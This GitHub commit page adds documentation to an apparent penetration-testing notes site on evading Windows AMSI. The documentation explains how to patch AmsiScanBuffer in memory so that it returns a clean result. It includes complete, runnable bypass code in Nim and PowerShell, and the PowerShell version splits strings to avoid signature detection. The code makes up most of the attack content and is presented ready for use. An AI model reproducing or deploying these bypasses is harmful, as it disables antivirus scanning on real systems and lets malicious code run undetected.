Skip to content

Commit

Permalink
windows/evasion/amsi: start with this section
Browse files Browse the repository at this point in the history
  • Loading branch information
brimstone committed Apr 26, 2021
1 parent 3f341d9 commit 688c1b5
Show file tree
Hide file tree
Showing 6 changed files with 130 additions and 0 deletions.
2 changes: 2 additions & 0 deletions content/docs/recon/_index.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,5 @@ weight: 20
---

# Reconnaissance

Reconnaissance, or "recon" for short, is a collection of techniques that can be run from a local attacker system, or a remote attacker controlled system.
8 changes: 8 additions & 0 deletions content/docs/windows/evasion/_index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
---
title: Evasion
weight: 10
---

# Evasion

Evading anti-virus and EDR solutions comes in many forms, from simply patching functions to unhooking DLLs.
40 changes: 40 additions & 0 deletions content/docs/windows/evasion/amsi.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
---
title: AMSI
---

# AMSI

This is the [Windows AntiMalware Scan Interface](https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal). This is basically an interface for scanning file, processes, and more that can then be used by Windows Defender or other antivirus products.

## Patching `AmsiScanBuffer`

It might be as easy as patching the `AmsiScanBuffer` function provided by `amsi.dll` to return false.

The basic process here is:
1. Use `LoadLibrary` to read `amsi.dll` from disk into a known variable handle.
1. Use `GetProcAddress` to identify the address of the `AmsiScanBuffer` function. Since `amsi.dll` should have already been loaded into the process at process start, this should be the address to the function already active in memory.
1. Use `VirtualProtect` to make the memory containing the `AmsiScanBuffer` function writable (0x40 == `PAGE_EXECUTE_READWRITE`).
1. Just copy over the byte code for a simple replacement function.

Replacement function:
```
b8 57 00 07 80 mov eax,0x80070057 # AMSI_RESULT_CLEAN
c3 ret
```

In powershell, patching `AmsiScanBuffer` basically means calling out to a little C# code to do the heavy work of calling Win32 APIs to patch the function in the current process.

{{< details "Powershell Example" >}}
{{% code file="/content/docs/windows/evasion/powershell_rasta.ps1" language="powershell" %}}
References:
- https://fatrodzianko.com/2020/08/25/getting-rastamouses-amsiscanbufferbypass-to-work-again/
{{< /details >}}

{{< details "Nim Example" >}}
{{% code file="/content/docs/windows/evasion/nim_offensivenim.nim" language="nim" %}}
{{< /details >}}

_References:_
- https://onlinedisassembler.com/odaweb/majaEeX0/0
- https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
- http://pinvoke.net/default.aspx/kernel32/VirtualProtect.html
48 changes: 48 additions & 0 deletions content/docs/windows/evasion/nim_offensivenim.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
Credit: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
]#

import winim/lean
import strformat
import dynlib

when defined amd64:
echo "[*] Running in x64 process"
const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
echo "[*] Running in x86 process"
const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]

proc PatchAmsi(): bool =
var
amsi: LibHandle
cs: pointer
op: DWORD
t: DWORD
disabled: bool = false

# loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
# it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
amsi = loadLib("amsi")
if isNil(amsi):
echo "[X] Failed to load amsi.dll"
return disabled

cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
if isNil(cs):
echo "[X] Failed to get the address of 'AmsiScanBuffer'"
return disabled

if VirtualProtect(cs, patch.len, 0x40, addr op):
echo "[*] Applying patch"
copyMem(cs, unsafeAddr patch, patch.len)
VirtualProtect(cs, patch.len, op, addr t)
disabled = true

return disabled

when isMainModule:
var success = PatchAmsi()
echo fmt"[*] AMSI disabled: {bool(success)}"
29 changes: 29 additions & 0 deletions content/docs/windows/evasion/powershell_rasta.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Credit: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
3 changes: 3 additions & 0 deletions layouts/shortcodes/code.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
{{ $file := .Get "file" | readFile }}
{{ $lang := .Get "language" }}
{{ (print "```" $lang "\n" $file "\n```") | safeHTML }}

0 comments on commit 688c1b5

Please sign in to comment.